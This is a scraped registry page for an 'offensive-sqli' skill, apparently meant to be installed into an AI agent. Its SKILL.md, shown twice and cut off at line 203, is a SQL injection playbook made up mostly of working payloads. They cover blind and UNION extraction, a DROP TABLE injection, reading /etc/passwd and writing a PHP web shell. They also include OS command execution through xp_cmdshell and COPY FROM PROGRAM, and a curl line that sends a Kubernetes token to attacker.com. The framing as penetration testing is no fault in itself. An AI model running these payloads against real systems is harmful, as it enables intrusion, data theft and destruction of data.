offensive-sqli

Name: offensive-sqli
Author: SnailSploit

2.8kstars447forks

How to install offensive-sqli?

snailsploit/claude-red/offensive-sqli

$npx -y skills add SnailSploit/Claude-Red --skill offensive-sqli

Installs into the current project.

Summary

SQL injection testing skill for offensive security assessments and bug bounty hunting. Covers error-based, UNION-based, boolean/time-based blind, out-of-band, second-order, NoSQL, GraphQL, WebSocket, and JSON-operator SQLi. Includes WAF bypass techniques, database-specific exploi

Files · 1

View on GitHub

SKILL.md

1	# SQL Injection — Offensive Testing Methodology
2
3	## Quick Workflow
4
5	1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
6	2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
7	3. Identify database type and enumerate schema
8	4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
9	5. Document findings and suggest remediation
10
11	---
12
13	## Detection
14
15	### Basic Probes — All Input Vectors
16
17	```
18	' " ; -- /* */ # ) ( + , \ %
19	' OR '1'='1
20	" OR "1"="1
21	SLEEP(1) /' or SLEEP(1) or '" or SLEEP(1) or "/
22	```
23
24	### Error-Based Detection
25
26	Trigger syntax errors to reveal database type and query structure:
27
28	```
29	' '' ` " "" , % \
30	```
31
32	Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.
33
34	### Boolean-Based Blind
35
36	```sql
37	' OR 1=1 --
38	' OR 1=2 --
39	' AND 1=1 --
40	' AND 1=2 --
41	```
42
43	Observe response size/content differences between true and false conditions.
44
45	### Time-Based Blind
46
47	```sql
48	-- MySQL
49	' OR SLEEP(5) --
50	-- PostgreSQL
51	' OR pg_sleep(5) --
52	-- MSSQL
53	' WAITFOR DELAY '0:0:5' --
54	-- Oracle
55	'; BEGIN DBMS_LOCK.SLEEP(5); END; --
56	```
57
58	### JSON Operator Probes
59
60	```sql
61	-- MySQL
62	id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
63	-- PostgreSQL
64	id=1 AND '{"a":1}'::jsonb ? 'a'
65	```
66
67	### GraphQL → SQLi Pivot
68
69	```
70	{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
71	```
72
73	### WebSocket SQLi
74
75	```javascript
76	const ws = new WebSocket("wss://target.com/api/search");
77	ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');
78	```
79
80	### REST API Filter Injection
81
82	```json
83	POST /api/users/search
84	{
85	"filter": { "name": {"$regex": "admin' OR 1=1--"} },
86	"sort": "name'; DROP TABLE users--"
87	}
88	```
89
90	---
91
92	## Automation Workflow
93
94	```bash
95	# Full pipeline
96	sublist3r -d target \| tee domains
97	cat domains \| httpx \| tee alive
98	cat alive \| waybackurls \| tee urls
99	gf sqli urls >> sqli
100	sqlmap -m sqli --dbs --batch
101
102	# Targeted with Burp capture
103	# 1. Capture request → Send to Active Scanner
104	# 2. Review SQL findings → manually verify
105	# 3. Export request file → sqlmap -r req.txt --dbs
106
107	# Blind SQLi (Ghauri — faster for time-based)
108	ghauri -u "https://target.com/page?id=1" --dbs
109
110	# Hidden parameter discovery
111	hakrawler -url https://target.com \| tee crawl
112	arjun -i crawl -oJ params.json
113	```
114
115	---
116
117	## Exploitation
118
119	### Determine Column Count (UNION)
120
121	```sql
122	' UNION SELECT NULL-- -
123	' UNION SELECT NULL,NULL-- -
124	' UNION SELECT NULL,NULL,NULL-- -
125	```
126
127	### Identify String Columns
128
129	```sql
130	' UNION SELECT 'a',NULL,NULL-- -
131	' UNION SELECT NULL,'a',NULL-- -
132	```
133
134	### Enumerate Schema
135
136	```sql
137	-- DB version
138	' UNION SELECT @@version -- -- MySQL/MSSQL
139	' UNION SELECT version() -- -- PostgreSQL
140	' UNION SELECT banner FROM v$version -- -- Oracle
141
142	-- Tables
143	' UNION SELECT table_name,1 FROM information_schema.tables -- -- MySQL/MSSQL/PG
144	' UNION SELECT table_name,1 FROM all_tables -- -- Oracle
145
146	-- Columns
147	' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
148	```
149
150	### Blind Data Extraction
151
152	```sql
153	-- Boolean character-by-character
154	' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -
155
156	-- Time-based conditional
157	' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -
158	```
159
160	---
161
162	## Database-Specific Exploitation
163
164	### MySQL / MariaDB
165
166	```sql
167	-- File read
168	' UNION SELECT LOAD_FILE('/etc/passwd') --
169
170	-- Write web shell
171	' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --
172
173	-- Schema leak
174	' UNION SELECT table_schema,table_name FROM information_schema.tables
175	WHERE table_schema NOT IN ('mysql','information_schema') --
176	```
177
178	### MSSQL
179
180	```sql
181	-- OS command execution
182	'; EXEC xp_cmdshell 'net user' --
183
184	-- Registry read
185	'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --
186
187	-- Linked server pivot
188	'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
189	```
190
191	### PostgreSQL
192
193	```sql
194	-- File read
195	' UNION SELECT pg_read_file('/etc/passwd',0,1000) --
196
197	-- OS command execution
198	'; CREATE TABLE cmd_exec(cmd_output text);
199	COPY cmd_exec FROM PROGRAM 'id';
200	SELECT * FROM cmd_exec; --
201
202	-- K8s service account token exfil
203	'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /v

People who liked this also viewed

6 picks

Type

offensive-sqli

2.8kstars447forks

View on GitHub

How to install offensive-sqli?

snailsploit/claude-red/offensive-sqli

$npx -y skills add SnailSploit/Claude-Red --skill offensive-sqli

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SQL Injection — Offensive Testing Methodology
2
3	## Quick Workflow
4
5	1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
6	2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
7	3. Identify database type and enumerate schema
8	4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
9	5. Document findings and suggest remediation
10
11	---
12
13	## Detection
14
15	### Basic Probes — All Input Vectors
16
17	```
18	' " ; -- /* */ # ) ( + , \ %
19	' OR '1'='1
20	" OR "1"="1
21	SLEEP(1) /' or SLEEP(1) or '" or SLEEP(1) or "/
22	```
23
24	### Error-Based Detection
25
26	Trigger syntax errors to reveal database type and query structure:
27
28	```
29	' '' ` " "" , % \
30	```
31
32	Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.
33
34	### Boolean-Based Blind
35
36	```sql
37	' OR 1=1 --
38	' OR 1=2 --
39	' AND 1=1 --
40	' AND 1=2 --
41	```
42
43	Observe response size/content differences between true and false conditions.
44
45	### Time-Based Blind
46
47	```sql
48	-- MySQL
49	' OR SLEEP(5) --
50	-- PostgreSQL
51	' OR pg_sleep(5) --
52	-- MSSQL
53	' WAITFOR DELAY '0:0:5' --
54	-- Oracle
55	'; BEGIN DBMS_LOCK.SLEEP(5); END; --
56	```
57
58	### JSON Operator Probes
59
60	```sql
61	-- MySQL
62	id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
63	-- PostgreSQL
64	id=1 AND '{"a":1}'::jsonb ? 'a'
65	```
66
67	### GraphQL → SQLi Pivot
68
69	```
70	{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
71	```
72
73	### WebSocket SQLi
74
75	```javascript
76	const ws = new WebSocket("wss://target.com/api/search");
77	ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');
78	```
79
80	### REST API Filter Injection
81
82	```json
83	POST /api/users/search
84	{
85	"filter": { "name": {"$regex": "admin' OR 1=1--"} },
86	"sort": "name'; DROP TABLE users--"
87	}
88	```
89
90	---
91
92	## Automation Workflow
93
94	```bash
95	# Full pipeline
96	sublist3r -d target \| tee domains
97	cat domains \| httpx \| tee alive
98	cat alive \| waybackurls \| tee urls
99	gf sqli urls >> sqli
100	sqlmap -m sqli --dbs --batch
101
102	# Targeted with Burp capture
103	# 1. Capture request → Send to Active Scanner
104	# 2. Review SQL findings → manually verify
105	# 3. Export request file → sqlmap -r req.txt --dbs
106
107	# Blind SQLi (Ghauri — faster for time-based)
108	ghauri -u "https://target.com/page?id=1" --dbs
109
110	# Hidden parameter discovery
111	hakrawler -url https://target.com \| tee crawl
112	arjun -i crawl -oJ params.json
113	```
114
115	---
116
117	## Exploitation
118
119	### Determine Column Count (UNION)
120
121	```sql
122	' UNION SELECT NULL-- -
123	' UNION SELECT NULL,NULL-- -
124	' UNION SELECT NULL,NULL,NULL-- -
125	```
126
127	### Identify String Columns
128
129	```sql
130	' UNION SELECT 'a',NULL,NULL-- -
131	' UNION SELECT NULL,'a',NULL-- -
132	```
133
134	### Enumerate Schema
135
136	```sql
137	-- DB version
138	' UNION SELECT @@version -- -- MySQL/MSSQL
139	' UNION SELECT version() -- -- PostgreSQL
140	' UNION SELECT banner FROM v$version -- -- Oracle
141
142	-- Tables
143	' UNION SELECT table_name,1 FROM information_schema.tables -- -- MySQL/MSSQL/PG
144	' UNION SELECT table_name,1 FROM all_tables -- -- Oracle
145
146	-- Columns
147	' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
148	```
149
150	### Blind Data Extraction
151
152	```sql
153	-- Boolean character-by-character
154	' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -
155
156	-- Time-based conditional
157	' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -
158	```
159
160	---
161
162	## Database-Specific Exploitation
163
164	### MySQL / MariaDB
165
166	```sql
167	-- File read
168	' UNION SELECT LOAD_FILE('/etc/passwd') --
169
170	-- Write web shell
171	' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --
172
173	-- Schema leak
174	' UNION SELECT table_schema,table_name FROM information_schema.tables
175	WHERE table_schema NOT IN ('mysql','information_schema') --
176	```
177
178	### MSSQL
179
180	```sql
181	-- OS command execution
182	'; EXEC xp_cmdshell 'net user' --
183
184	-- Registry read
185	'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --
186
187	-- Linked server pivot
188	'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
189	```
190
191	### PostgreSQL
192
193	```sql
194	-- File read
195	' UNION SELECT pg_read_file('/etc/passwd',0,1000) --
196
197	-- OS command execution
198	'; CREATE TABLE cmd_exec(cmd_output text);
199	COPY cmd_exec FROM PROGRAM 'id';
200	SELECT * FROM cmd_exec; --
201
202	-- K8s service account token exfil
203	'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /v

People who liked this also viewed

6 picks

Type